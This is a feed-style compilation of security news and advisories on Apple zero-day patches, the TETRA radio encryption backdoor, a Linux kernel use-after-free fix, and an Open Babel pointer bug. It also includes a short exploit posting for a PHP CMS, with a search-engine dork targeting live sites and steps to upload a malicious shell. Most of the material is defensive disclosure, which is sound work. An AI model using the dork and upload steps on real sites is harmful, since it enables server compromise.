Categories: Exploits and vulnerabilities
Categories: News
Tags: Apple

Tags:  WebKit

Tags:  CVE-2023-38606

Tags:  CVE-2023-32409

Tags:  CVE-2023-37450

Tags:  CVE-2023-32416

Apple has released security updates for several products to address several serious vulnerabilities including some actively exploited zero-days.



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The post Update now! Apple fixes several serious vulnerabilities appeared first on Malwarebytes Labs.

Apple has released security updates for several products to address several serious vulnerabilities  including some actively exploited zero-days. Updates are available for these products:

 Safari 16.6

 macOS Big Sur and macOS Monterey

 iOS 16.6 and iPadOS 16.6

 iPhone 8 and later, iPad Pro (all models), iPad Air 3rd generation and later, iPad 5th generation and later, and iPad mini 5th generation and later

 iOS 15.7.8 and iPadOS 15.7.8 

 iPhone 6s (all models), iPhone 7 (all models), iPhone SE (1st generation), iPad Air 2, iPad mini (4th generation), and iPod touch (7th generation)

 macOS Ventura 13.5

 macOS Ventura

 macOS Monterey 12.6.8

 macOS Monterey

 macOS Big Sur 11.7.9

 macOS Big Sur

 tvOS 16.6

 Apple TV 4K (all models) and Apple TV HD

 watchOS 9.6

 Apple Watch Series 4 and later

The updates may already have reached you in your regular update routines, but it doesn't hurt to check if your device is at the latest update level. If a Safari update is available for your device, you can get it by updating or upgrading macOS, iOS, or iPadOS.

How to update your iPhone or iPad.

How to update macOS on Mac.

The Common Vulnerabilities and Exposures (CVE) database lists publicly disclosed computer security flaws. Some of the notable CVEs patched in these updates are:

CVE-2023-38606: A vulnerability in the kernel that may allow an app to modify sensitive kernel state. Apple is aware of a report that this issue may have been actively exploited against versions of iOS released before iOS 15.7.1. The exploitation of this vulnerability took place as part of a 0-click exploit chain used to install spyware. These exploitation methods are named like that because they require no user interaction to compromise a device.

CVE-2023-32409: a vulnerability in the WebKit. A remote attacker may be able to break out of Web Content sandbox. Apple is aware of a report that this issue may have been actively exploited. A patch for this vulnerability was issued in May for iOS 16 and iPadOS 16, but is now also available for iOS 15.7.8 and iPadOS 15.7.8.

WebKit is the engine that powers the Safari web browser on Macs as well as all browsers on iOS and iPadOS (all web browsers on iOS and iPadOS are obliged to use it). It is also the web browser engine used by Mail, App Store, and many other apps on macOS, iOS, and Linux.

CVE-2023-37450: Another WebKit vulnerability where processing web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited. This vulnerability has been covered by a Rapid Security Response (RSR) earlier because Apple was aware of a report that this issue may have been actively exploited.

CVE-2023-32416: a vulnerability in the Find My app which could allow another app to read sensitive location information. This issue was addressed with improved restrictions.

**We don’t just report on vulnerabilities—we identify them, and prioritize action.**

Cybersecurity risks should never spread beyond a headline. Keep vulnerabilities in tow by using Malwarebytes Vulnerability and Patch Management.

Update now! Apple fixes several serious vulnerabilities

REDCap 12.0.26 LTS and 12.3.2 Standard allows SQL Injection via scheduling, repeatforms, purpose, app_title, or randomization.

CVE-2023-37361: Trustwave Security Advisories

By Waqas
These vulnerabilities have been dubbed TETRA:BURST by researchers.
This is a post from HackRead.com Read the original post: From Power Grids to Airports: TETRA Radio Hacking Risks Global Infrastructure

The TETRA vulnerabilities have been identified by Dutch cybersecurity researchers, who plan to reveal more information at the upcoming Black Hat USA 2023.

Dutch cybersecurity researchers have discovered significant vulnerabilities in the widely used TETRA radio technology, raising concerns about the safety of critical infrastructure worldwide – These vulnerabilities have been dubbed TETRA:BURST by researchers.

**TETRA**, or Terrestrial Trunked Radio, employed to control essential systems like power grids, gas pipelines, and trains, has been found to possess a deliberate backdoor in its encryption algorithm, allowing for relatively easy hacking.

The team at cybersecurity firm Midnight Blue, consisting of Job Wetzels, Carlo Meijer, and Wouter Bokslag, made this alarming discovery and alerted relevant authorities. Despite efforts to raise awareness, many critical infrastructure entities remain unresponsive to the risks posed by these vulnerabilities.

**The Vulnerabilities:**

Researchers from **Midnight Blue** identified a backdoor in the encryption algorithm of TETRA radios, which are manufactured by companies such as Motorola, Damm, and Hytera. The intentional vulnerability, easy to exploit, allows attackers to compromise the network and execute malicious commands. These attacks can disrupt critical infrastructure operations and even enable unauthorized access to emergency services, posing a grave threat to public safety.

**Global Impact:**

TETRA technology is widely used across the world, controlling vital infrastructure in more than 120 countries. For instance, in the Netherlands, the port of Rotterdam, public transport companies, most airports, and the C2000 communication system utilized by the police, fire brigade, ambulance services, and parts of the Ministry of Defence rely on TETRA.

Additionally, many critical infrastructure authorities in Germany, France, Spain, and various European countries, as well as several equivalent entities in the USA, depend on this radio technology.

**Ease of Hacking:**

The most concerning aspect of these vulnerabilities is how accessible they are to potential hackers. According to Midnight Blue, even individuals without extensive hacking expertise can infiltrate the TETRA network in under a minute using simple hardware. Once inside, attackers can execute malicious commands on critical infrastructure systems without detection, leading to severe consequences.

**Efforts to Address the Issue:**

**According to** local Dutch media, the researchers responsible for uncovering these vulnerabilities immediately reported their findings to the Dutch National Cyber Security Centre (NCSC) in 2021. Over the past two years, the NCSC has diligently informed governments in various countries about the risks posed by TETRA’s loopholes.

Furthermore, the Midnight Blue team took the initiative to notify manufacturers and users of the technology, aiming to increase awareness and encourage mitigation efforts.

**The Call for Action:**

As the information about the TETRA backdoor vulnerabilities becomes public, Midnight Blue warns all users of radio technologies to contact their manufacturers and assess if their devices employ TETRA. Understanding the potential risks and seeking available fixes or mitigations is crucial in safeguarding critical infrastructure from potential attacks.

**More At Black Hat USA 2023**

The Midnight Blue team plans to unveil more information about the backdoor at the **“Redacted Telecom Talk**“ session during the Black Hat Security Conference (Black Hat USA 2023), which is scheduled to take place from Saturday, August 5, 2023, to Thursday, August 10, 2023, at the Mandalay Bay Convention Center in Las Vegas, Nevada.

The complete information on the Midnight Blue team’s upcoming presentations and conferences is available on the **TETRA:BURST website**, which is dedicated to addressing the TETRA vulnerabilities.

**Takeaway:**

The discovery of deliberate vulnerabilities in TETRA radio technology has raised alarm bells among cybersecurity experts and governments worldwide. The risks posed by these backdoors are substantial, with the potential to disrupt critical infrastructure and compromise public safety.

While efforts have been made to address the issue, the lack of response from some critical infrastructure companies remains a cause for concern. As the world becomes increasingly reliant on advanced technologies, the need to prioritize cybersecurity and address potential vulnerabilities becomes more critical than ever.

**RELATED ARTICLES**

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I am a UK-based cybersecurity journalist with a passion for covering the latest happenings in cyber security and tech world. I am also into gaming, reading and investigative journalism

From Power Grids to Airports: TETRA Radio Hacking Risks Global Infrastructure

A use-after-free flaw was found in vcs_read in drivers/tty/vt/vc_screen.c in vc_screen in the Linux Kernel. This flaw allows an attacker with local user access to cause a system crash or leak internal kernel information.

This is a note to let you know that I've just added the patch titled

    vc\_screen: move load of struct vc\_data pointer in vcs\_read() to avoid UAF

to the 6.1-stable tree which can be found at:
    http://www.kernel.org/git/?p=linux/kernel/git/stable/stable-queue.git;a=summary

The filename of the patch is:
     vc\_screen-move-load-of-struct-vc\_data-pointer-in-vcs.patch
and it can be found in the queue-6.1 subdirectory.

If you, or anyone else, feels it should not be added to the stable tree,
please let <stable@xxxxxxxxxxxxxxx> know about it.



commit 322ff296a88276d7895a7a0ecb60553cf4914e16
Author: George Kennedy <george.kennedy@xxxxxxxxxx>
Date:   Tue Jan 24 11:16:54 2023 -0500

    vc\_screen: move load of struct vc\_data pointer in vcs\_read() to avoid UAF
    
    \[ Upstream commit 226fae124b2dac217ea5436060d623ff3385bc34 \]
    
    After a call to console\_unlock() in vcs\_read() the vc\_data struct can be
    freed by vc\_deallocate(). Because of that, the struct vc\_data pointer
    load must be done at the top of while loop in vcs\_read() to avoid a UAF
    when vcs\_size() is called.
    
    Syzkaller reported a UAF in vcs\_size().
    
    BUG: KASAN: use-after-free in vcs\_size (drivers/tty/vt/vc\_screen.c:215)
    Read of size 4 at addr ffff8881137479a8 by task 4a005ed81e27e65/1537
    
    CPU: 0 PID: 1537 Comm: 4a005ed81e27e65 Not tainted 6.2.0-rc5 #1
    Hardware name: Red Hat KVM, BIOS 1.15.0-2.module
    Call Trace:
      <TASK>
    \_\_asan\_report\_load4\_noabort (mm/kasan/report\_generic.c:350)
    vcs\_size (drivers/tty/vt/vc\_screen.c:215)
    vcs\_read (drivers/tty/vt/vc\_screen.c:415)
    vfs\_read (fs/read\_write.c:468 fs/read\_write.c:450)
    ...
      </TASK>
    
    Allocated by task 1191:
    ...
    kmalloc\_trace (mm/slab\_common.c:1069)
    vc\_allocate (./include/linux/slab.h:580 ./include/linux/slab.h:720
         drivers/tty/vt/vt.c:1128 drivers/tty/vt/vt.c:1108)
    con\_install (drivers/tty/vt/vt.c:3383)
    tty\_init\_dev (drivers/tty/tty\_io.c:1301 drivers/tty/tty\_io.c:1413
         drivers/tty/tty\_io.c:1390)
    tty\_open (drivers/tty/tty\_io.c:2080 drivers/tty/tty\_io.c:2126)
    chrdev\_open (fs/char\_dev.c:415)
    do\_dentry\_open (fs/open.c:883)
    vfs\_open (fs/open.c:1014)
    ...
    
    Freed by task 1548:
    ...
    kfree (mm/slab\_common.c:1021)
    vc\_port\_destruct (drivers/tty/vt/vt.c:1094)
    tty\_port\_destructor (drivers/tty/tty\_port.c:296)
    tty\_port\_put (drivers/tty/tty\_port.c:312)
    vt\_disallocate\_all (drivers/tty/vt/vt\_ioctl.c:662 (discriminator 2))
    vt\_ioctl (drivers/tty/vt/vt\_ioctl.c:903)
    tty\_ioctl (drivers/tty/tty\_io.c:2776)
    ...
    
    The buggy address belongs to the object at ffff888113747800
      which belongs to the cache kmalloc-1k of size 1024
    The buggy address is located 424 bytes inside of
      1024-byte region \[ffff888113747800, ffff888113747c00)
    
    The buggy address belongs to the physical page:
    page:00000000b3fe6c7c refcount:1 mapcount:0 mapping:0000000000000000
         index:0x0 pfn:0x113740
    head:00000000b3fe6c7c order:3 compound\_mapcount:0 subpages\_mapcount:0
         compound\_pincount:0
    anon flags: 0x17ffffc0010200(slab|head|node=0|zone=2|lastcpupid=0x1fffff)
    raw: 0017ffffc0010200 ffff888100042dc0 0000000000000000 dead000000000001
    raw: 0000000000000000 0000000000100010 00000001ffffffff 0000000000000000
    page dumped because: kasan: bad access detected
    
    Memory state around the buggy address:
      ffff888113747880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
      ffff888113747900: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
    > ffff888113747980: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                       ^
      ffff888113747a00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
      ffff888113747a80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
    ==================================================================
    Disabling lock debugging due to kernel taint
    
    Fixes: ac751efa6a0d ("console: rename acquire/release\_console\_sem() to console\_lock/unlock()")
    Reported-by: syzkaller <syzkaller@xxxxxxxxxxxxxxxx>
    Suggested-by: Jiri Slaby <jirislaby@xxxxxxxxxx>
    Signed-off-by: George Kennedy <george.kennedy@xxxxxxxxxx>
    Link: https://lore.kernel.org/r/1674577014-12374-1-git-send-email-george.kennedy@xxxxxxxxxx
    Signed-off-by: Greg Kroah-Hartman <gregkh@xxxxxxxxxxxxxxxxxxx>
    Signed-off-by: Sasha Levin <sashal@xxxxxxxxxx>

diff --git a/drivers/tty/vt/vc\_screen.c b/drivers/tty/vt/vc\_screen.c
index 1850bacdb5b0..f566eb1839dc 100644
--- a/drivers/tty/vt/vc\_screen.c
+++ b/drivers/tty/vt/vc\_screen.c
@@ -386,10 +386,6 @@ vcs\_read(struct file \*file, char \_\_user \*buf, size\_t count, loff\_t \*ppos)
 
 	uni\_mode = use\_unicode(inode);
 	attr = use\_attributes(inode);
-	ret = -ENXIO;
-	vc = vcs\_vc(inode, &viewed);
-	if (!vc)
-		goto unlock\_out;
 
 	ret = -EINVAL;
 	if (pos < 0)
@@ -407,6 +403,11 @@ vcs\_read(struct file \*file, char \_\_user \*buf, size\_t count, loff\_t \*ppos)
 		unsigned int this\_round, skip = 0;
 		int size;
 
+		ret = -ENXIO;
+		vc = vcs\_vc(inode, &viewed);
+		if (!vc)
+			goto unlock\_out;
+
 		/\* Check whether we are above size each round,
 		 \* as copy\_to\_user at the end of this loop
 		 \* could sleep.

CVE-2023-3567: move load of struct vc_data pointer in vcs_read() to avoid UAF" has been added to the 6.1-stable tree — Linux Stable Commits

CMS Ultimate Solutions DreamSus version 1.4 suffers from a remote shell upload vulnerability.

**CMS Ultimate Solutions DreamSus 1.4 Shell Upload**

Posted Jul 24, 2023

Authored by indoushka

CMS Ultimate Solutions DreamSus version 1.4 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell

SHA-256 | 687fc9626b0a4c7e675cd7007c558b29ceea1784dee6326f9ae2ef2465dc6ffe

Download | Favorite | View

**CMS Ultimate Solutions DreamSus 1.4 Shell Upload**

    ====================================================================================================================================| # Title     : CMS Ultimate Solutions DreamSus v1.4 unrestricted file upload Vulnerability                                        || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : http://dreamsus.com                                                                                                |  | # Dork      : intext:''Designed and Developed by Dreams Ultimate Solutions'' site:edu.in                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine .[+] http://127.0.0.1/spcollegejejurieduin/add_testimonial.php <==== Fill in the blanks and choose your malicious file and upload[+] http://127.0.0.1/spcollegejejurieduin/uploads/testimonial/Ev!l.phpGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

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CMS Ultimate Solutions DreamSus 1.4 Shell Upload

A secret encryption cipher baked into radio systems used by critical infrastructure workers, police, and others around the world is finally seeing sunlight. Researchers say it isn’t pretty.

For more than 25 years, a technology used for critical data and voice radio communications around the world has been shrouded in secrecy to prevent anyone from closely scrutinizing its security properties for vulnerabilities. But now it’s finally getting a public airing thanks to a small group of researchers in the Netherlands who got their hands on its viscera and found serious flaws, including a deliberate backdoor.

The backdoor, known for years by vendors that sold the technology but not necessarily by customers, exists in an encryption algorithm baked into radios sold for commercial use in critical infrastructure. It’s used to transmit encrypted data and commands in pipelines, railways, the electric grid, mass transit, and freight trains. It would allow someone to snoop on communications to learn how a system works, then potentially send commands to the radios that could trigger blackouts, halt gas pipeline flows, or re-route trains.

Researchers found a second vulnerability in a different part of the same radio technology that is used in more specialized systems sold exclusively to police forces, prison personnel, military, intelligence agencies, and emergency services, such as the C2000 communication system used by Dutch police, fire brigades, ambulance services, and Ministry of Defense for mission-critical voice and data communications. The flaw would let someone decrypt encrypted voice and data communications and send fraudulent messages to spread misinformation or redirect personnel and forces during critical times.

Three Dutch security analysts discovered the vulnerabilities—five in total—in a European radio standard called TETRA (Terrestrial Trunked Radio), which is used in radios made by Motorola, Damm, Hytera, and others. The standard has been used in radios since the ’90s, but the flaws remained unknown because encryption algorithms used in TETRA were kept secret until now.

The technology is not widely used in the US, where other radio standards are more commonly deployed. But Caleb Mathis, a consultant with Ampere Industrial Security, conducted open source research for WIRED and uncovered contracts, press releases, and other documentation showing TETRA-based radios are used in at least two dozen critical infrastructures in the US. Because TETRA is embedded in radios supplied through resellers and system integrators like PowerTrunk, it’s difficult to identify who might be using them and for what. But Mathis helped WIRED identify several electric utilities, a state border control agency, an oil refinery, chemical plants, a major mass transit system on the East Coast, three international airports that use them for communications among security and ground crew personnel, and a US Army training base.

Carlo Meijer, Wouter Bokslag, and Jos Wetzels of Midnight Blue in the Netherlands discovered the TETRA vulnerabilities–which they’re calling TETRA:Burst–in 2021 but agreed not to disclose them publicly until radio manufacturers could create patches and mitigations. Not all of the issues can be fixed with a patch, however, and it’s not clear which manufacturers have prepared them for customers. Motorola—one of the largest radio vendors—didn’t respond to repeated inquiries from WIRED.

The Dutch National Cyber Security Centre assumed the responsibility of notifying radio vendors and computer emergency response teams around the world about the problems, and of coordinating a timeframe for when the researchers should publicly disclose the issues.

In a brief email, NCSC spokesperson Miral Scheffer called TETRA “a crucial foundation for mission-critical communication in the Netherlands and around the world” and emphasized the need for such communications to always be reliable and secure, “especially during crisis situations.” She confirmed the vulnerabilities would let an attacker in the vicinity of impacted radios “intercept, manipulate or disturb” communications and said the NCSC had informed various organizations and governments, including Germany, Denmark, Belgium, and England, advising them how to proceed. A spokesperson for DHS’s Cybersecurity and Infrastructure Security Agency said they are aware of the vulnerabilities but wouldn’t comment further.

The researchers say anyone using radio technologies should check with their manufacturer to determine if their devices are using TETRA and what fixes or mitigations are available.

The researchers plan to present their findings next month at the BlackHat security conference in Las Vegas, when they will release detailed technical analysis as well as the secret TETRA encryption algorithms that have been unavailable to the public until now. They hope others with more expertise will dig into the algorithms to see if they can find other issues.

TETRA was developed in the ’90s by the European Telecommunications Standards Institute, or ETSI. The standard includes four encryption algorithms—TEA1, TEA2, TEA3, and TEA4—that can be used by radio manufacturers in different products, depending on their intended use and customer. TEA1 is for commercial uses; for radios used in critical infrastructure in Europe and the rest of the world, though, it is also designed for use by public safety agencies and military, according to an ETSI document, and the researchers found police agencies that use it.

TEA2 is restricted for use in Europe by police, emergency services, military, and intelligence agencies. TEA3 is available for police and emergency services outside Europe—in countries deemed “friendly” to the EU, such as Mexico and India; those not considered friendly—such as Iran—only had the option to use TEA1. TEA4, another commercial algorithm, is hardly used, the researchers say.

The vast majority of police forces around the world, aside from the US, use TETRA-based radio technology, the researchers found, after conducting open source research. TETRA is used by police forces in Belgium and the Scandinavian countries, East European countries like Serbia, Moldova, Bulgaria, and Macedonia, as well as in the Middle East in Iran, Iraq, Lebanon, and Syria.

Additionally, the Ministries of Defense in Bulgaria, Kazakhstan, and Syria use it. The Polish military counterintelligence agency uses it, as does the Finnish defense forces, and Lebanon and Saudi Arabia’s intelligence service, to name just a few.

Critical infrastructure in the US and other countries use TETRA for machine-to-machine communication in SCADA and other industrial control system settings—especially in widely distributed pipelines, railways, and electric grids, where wired and cellular communications may not be available.

Although the standard itself is publicly available for review, the encryption algorithms are only available with a signed NDA to trusted parties, such as radio manufacturers. The vendors have to include protections in their products to make it difficult for anyone to extract the algorithms and analyze them.

To obtain the algorithms, the researchers purchased an off-the-shelf Motorola MTM5400 radio and spent four months locating and extracting the algorithms from the secure enclave in the radio’s firmware. They had to use a number of zero-day exploits to defeat Motorola protections, which they reported to Motorola to fix. Once they reverse-engineered the algorithms, the first vulnerability they found was the backdoor in TEA1.

All four TETRA encryption algorithms use 80-bit keys, which, even more than two decades after their release, still provides sufficient security to prevent someone from cracking them, the researchers say. But TEA1 has a feature that reduces its key to just 32 bits—less than half the key’s length. The researchers were able to crack it in less than a minute using a standard laptop and just four ciphertexts.

Brian Murgatroyd, chair of the technical body at ETSI responsible for the TETRA standard, objects to calling this a backdoor. He says when they developed the standard, they needed an algorithm for commercial use that could meet export requirements to be used outside Europe, and that in 1995 a 32-bit key still provided security, though he acknowledges that with today’s computing power that’s not the case.

Matthew Green, a Johns Hopkins University cryptographer and professor, calls the weakened key a “disaster.”

"I wouldn’t say it’s equivalent to using no encryption, but it’s really, really bad,” he says.

Gregor Leander, a professor of computer science and cryptographer with a security research team known as CASA at Ruhr University Bochum in Germany, says it would be “stupid” for critical infrastructure to use TEA1, especially without adding end-to-end encryption on top of it. “Nobody should rely on this,” he says.

Murgatroyd insists the most anyone can do with the backdoor is decrypt and eavesdrop on data and conversations. TETRA has strong authentication, he says, that would prevent anyone from injecting false communication.

“That’s not true,” says Wetzels. TETRA only requires that devices authenticate themselves to the network, but data and voice communications between radios are not digitally signed or otherwise authenticated. The radios and base stations trust that any device that has the proper encryption key is authenticated, so someone who can crack the key as the researchers did can encrypt their own messages with it and send them to base stations and other radios.

While the TEA1 weakness has been withheld from the public, it’s apparently widely known in the industry and governments. In a 2006 US State Department cable leaked to Wikileaks, the US embassy in Rome describes an Italian radio manufacturer asking about exporting TETRA radio systems to municipal police forces in Iran. The US pushed back on the plan, so the company representative reminded the US that encryption in the TETRA-based radio system they planned to sell to Iran is “less than 40-bits,” implying that the US shouldn’t object to the sale because the system isn’t using a strong key.

The second major vulnerability the researchers found isn’t in one of the secret algorithms, but it affects all of them. The issue lies in the standard itself and how TETRA handles time syncing and keystream generation.

When a TETRA radio contacts a base station, they initiate communication with a time sync. The network broadcasts the time, and the radio establishes that it’s in sync. Then they both generate the same keystream, which is tied to that timestamp, to encrypt the subsequent communication.

“The problem is that the network broadcasts the time in packets that are unauthenticated and unencrypted,” says Wetzels.

As a result, an attacker can use a simple device to intercept and collect encrypted communication passing between a radio and base station, while noting the timestamp that initiated the communication. Then he can use a rogue base station to contact the same radio or a different one in the same network and broadcast the time that matches the time associated with the intercepted communication. The radio is dumb and believes the correct time is whatever a base station says it is. So it will generate the keystream that was used at that time to encrypt the communication the attacker collected. The attacker recovers that keystream and can use it to decrypt the communication collected earlier.

To inject false messages, he would use his base station to tell a radio that the time is tomorrow noon and ask the radio to generate the keystream associated with that future time. Once the attacker has it, he can use the keystream to encrypt his rogue messages, and the next day at noon send them to a target radio using the correct keystream for that time.

Wetzels imagines Mexican drug cartels could use this to intercept police communications to eavesdrop on investigations and operations or deceive police with false messages sent to radios. The attacker needs to be near a target radio, but the proximity is only dependent on the strength of the rogue base station’s signal and the terrain.

“You can do this within a distance of tens of meters,” he says. The rogue base station would cost $5,000 or less to build.

ETSI’s Murgatroyd downplays the attack saying TETRA’s strong authentication requirements would prevent a non-authenticated base station from injecting messages. Wetzel disagrees, saying TETRA only requires devices to authenticate to the network, not to each other.

The researchers didn’t find any weaknesses in the TEA2 algorithm used by police, military, and emergency services in Europe, but they did initially think they found another backdoor in TEA3. Given that TEA3 is the exportable version of TEA2, there was good reason to believe it might also have a backdoor to meet export requirements.

They thought they found something suspicious in a substitution box, or S-box, used in the algorithm, which contains a bad property they say would “never appear in serious cryptography.” The researchers didn’t have sufficient skill to examine it to determine if it was exploitable. But Leander’s team did examine it and he says it’s not.

“In many ciphers if you used such a box it would break the cipher very badly,“ he says. “But the way it’s used in TEA3, we couldn’t see that this is exploitable.” This doesn’t mean someone else might not find something in it he says, but he’d “be very surprised if it leads to an attack that’s practical.”

With regard to fixes for the other problems the researchers found, Murgatroyd says ETSI fixed the keystream/timestamp issue in a revised TETRA standard published last October, and they created three additional algorithms for vendors to use, including one that replaces TEA1. Vendors have created firmware updates that fix the keystream/timestamp issue. But the problem with TEA1 cannot be fixed with an update. The only solution for that is to use another algorithm—not an easy thing to switch—or to add end-to-end encryption on top of TETRA, something Wetzels says is impractical. It’s very expensive since the encryption has to be applied to every device, it requires some downtime to do the upgrade—something not always feasible for critical infrastructure—and can create incompatibility issues with other components.

As for asking their vendor to switch out TEA1 for one of the new algorithms meant to replace it, Wetzels says this is problematic as well, since ETSI plans to keep those algorithms secret, like the others, asking users to trust again that the algorithms have no critical weakness.

“There’s a very high chance that \[the replacement algorithm for TEA1\] will be weakened” as well, he says.

The researchers don’t know if the vulnerabilities they found are being actively exploited. But they did find evidence in the Edward Snowden leaks that indicate the US National Security Agency (NSA) and UK’s GCHQ intelligence agency targeted TETRA for eavesdropping in the past. One document discusses an NSA and Australian Signals Directorate project to collect Malaysian police communications during a climate change conference in Bali in 2007 and mentions that they obtained some TETRA collections on Indonesian security forces' communications.

Another Snowden leak describes GCHQ, possibly with NSA assistance, collecting TETRA communications in Argentina in 2010 when tensions rose between it and the UK over oil exploration rights in a deep-sea oil field off the coast of the Falkland Islands. It describes an operation to collect high-priority military and leadership communications of Argentina and reveals that the project resulted in successful TETRA collections.

“This doesn’t indicate they exploited these vulnerabilities that we found,” Wetzels says. “But it does show … that state-sponsored actors are actively looking at and collecting these TETRA networks, even in the early 2000s.”

TETRA Radio Code Encryption Has a Flaw: A Backdoor

Categories: News
Tags: week in security

Tags:  malwarebytes

Tags:  July

Tags:  2023

A list of topics we covered in the week of July 17 to July 23 of 2023



(Read more...)




The post A week in security (July 17 - 23) appeared first on Malwarebytes Labs.

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A week in security (July 17 - 23)

A use of uninitialized pointer vulnerability exists in the PQS format pFormat functionality of Open Babel 3.1.1 and master commit 530dbfa3. A specially crafted malformed file can lead to arbitrary code execution. An attacker can provide a malicious file to trigger this vulnerability.

**SUMMARY**

A use of uninitialized pointer vulnerability exists in the PQS format pFormat functionality of Open Babel 3.1.1 and master commit 530dbfa3. A specially crafted malformed file can lead to arbitrary code execution. An attacker can provide a malicious file to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Open Babel 3.1.1  
Open Babel master commit 530dbfa3

**PRODUCT URLS**

Open Babel - https://openbabel.org/

**CVSSv3 SCORE**

9.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-824 - Access of Uninitialized Pointer

**DETAILS**

Open Babel is a popular library for converting chemical file formats, currently supporting about 130 different file formats. It implements bindings for several programming languages. Because of the nature of the library, and since there are many online chemical format converters and molecule viewers which might be using Open Babel in their backend for parsing and conversion, we consider this software as potentially accessible via network.

Open Babel ships a simple converter application called obabel that can be used to trigger the issue described in this advisory. obabel supports -i and -o parameters, which select the input and output formats to perform the conversion. obabel supports multiple input and output files (as does the Open Babel library itself): this technically allows multiple vulnerabilities to trigger in sequence, which in turn could make some vulnerabilities easier to exploit. In this advisory, however, we focus on only one input file and a corresponding output file.

When a single input file and output file are supplied, obabel.cpp records the input and output formats (if supplied) and calls OBConversion::FullConvert in obconversion.cpp. Inside this function, there’s a call to OpenAndSetFormat, which uses FormatFromExt to derive the input format from the filename extension if no -i parameter was supplied. Similarly, OpenInAndOutFiles can be used to derive both input and output formats from the filename extensions when none are supplied.  
Depending on how the obabel application is invoked, different paths could actually take place. Eventually, pInFormat and pOutFormat (of base class OBFormat) objects are allocated, which are instances of the classes that implement the selected input and output formats.

The code then proceeds with a call to OBConversion::Convert, which eventually leads to calling pInFormat->ReadMolecule and pOutFormat->WriteMolecule.

In this advisory, we describe an issue in the “Parallel Quantum Solutions” (PQS) file format (formats/PQSformat.cpp.cpp) when parsing an input file via ReadMolecule.

        bool PQSFormat::ReadMolecule(OBBase* pOb, OBConversion* pConv)
        {
          ...
    [1]   const char* title = pConv->GetTitle();
    
    [2]   char buffer[BUFF_SIZE];
          char coord_file[256];
          char full_coord_path[256]="\0";
          ifstream coordFileStream;
          ...
    [3]   while (!geom_found && ifs.getline(buffer,BUFF_SIZE))
            {
              lowerit(buffer);      //look for geom except in title or text
              if (strstr(buffer, "geom") != nullptr &&
                  (strncmp(buffer,"text",4)!=0 && strncmp(buffer,"titl",4)!=0))
                {
                  ...
    [4]           if (strstr(buffer, "file=") != nullptr)
                    {  //external geometry file
    [5]               strncpy(coord_file,strstr(buffer,"file=")+5, sizeof(coord_file));
                      coord_file[sizeof(coord_file) - 1] = '\0';
                      if (strrchr(coord_file, ' ') != nullptr)
                        *strrchr(coord_file,' ')='\0';
                      if (coord_file[0]!='/')
                        {
                          strncpy(full_coord_path,title, sizeof(full_coord_path));
                          full_coord_path[sizeof(full_coord_path)-1] = '\0';
                          if (strrchr(full_coord_path, '/') != nullptr)
                            *(strrchr(full_coord_path,'/')+1)='\0';
                          else
                            full_coord_path[0] = '\0';
                        }
    [6]               strcat(full_coord_path,coord_file);
                      full_coord_path[sizeof(full_coord_path) - 1] = '\0';
                      stringstream errorMsg;
                      errorMsg <<"External geometry file referenced: "<< \
                        full_coord_path<<endl;
                      obErrorLog.ThrowError(__FUNCTION__, errorMsg.str(), obInfo);
    

At \[1\], the title of the file is retrieved (this corresponds to the filename of the input file). Then, for each line in the input file \[3\], if the line contains the string “file=”, the condition at \[4\] matches. At \[5\] the coordinates file path is built, depending on what comes after “file=” (set to coord_file). If coord_file is a relative path, it is concatenated to the directory path of the input file, and the result is stored in full_coord_path \[6\]. If coord_file is an absolute path, full_coord_path is simply set to coord_file.

                      ...
    [7]               coordFileStream.open(full_coord_path);
                      if (!coordFileStream)
                        {
                          obErrorLog.ThrowError(__FUNCTION__, "Cannot read external geometry file!", obError);
                          return(false);
                          //                    exit (-1);
                        }
                      else
    [8]                 {
                          ifs.seekg(0, ios::end); //move .inp file pointer to the end of file
    
                          //New framework mods
                          OBConversion coordconv(&coordFileStream);
    [9]                   OBFormat* pFormat;
                          if (strstr(buffer, "=car" ) != nullptr)
                            pFormat =OBConversion::FindFormat("BIOSYM");
                          if (strstr(buffer, "=hin" ) != nullptr)
                            pFormat = OBConversion::FindFormat("HIN");
                          if (strstr(buffer, "=pdb" ) != nullptr)
                            pFormat = OBConversion::FindFormat("PDB");
                          if (strstr(buffer, "=mop" ) != nullptr)
                            pFormat = OBConversion::FindFormat("MOPAC");
    [10]                  return pFormat->ReadMolecule(&mol,&coordconv);
    

full_coord_path is then opened \[7\], and if the open succeeds (it will succeed with any user-readable file or directory), we enter the block at \[8\].  
At \[9\], a pFormat is declared but not initialized. Then, a series of conditions try to match strings within the current line, setting pFormat accordingly. Finally \[10\] pFormat is used to call ReadMolecule with the proper format conversion function. The issue is that, if none of the conditions between \[9\] and \[10\] succeed, pFormat will be uninitialized, and at \[10\] an uninitialized pointer dereference will happen.  
As ReadMolecule is a virtual function referenced from pFormat, this allows direct control of the control flow. The pointer is stored on the stack, and, depending on how the code is compiled and the stack is laid out, the pointer could be under full control of an attacker, who could in turn use this to execute arbitrary code.

**Crash Information**

    $ ./bin/obabel -i pqs pformat.uninit.pqs -o sdf
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==1280241==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000 (pc 0xf4f51af1 bp 0xffffb818 sp 0xffff2b00 T0)
    ==1280241==The signal is caused by a READ memory access.
    ==1280241==Hint: address points to the zero page.
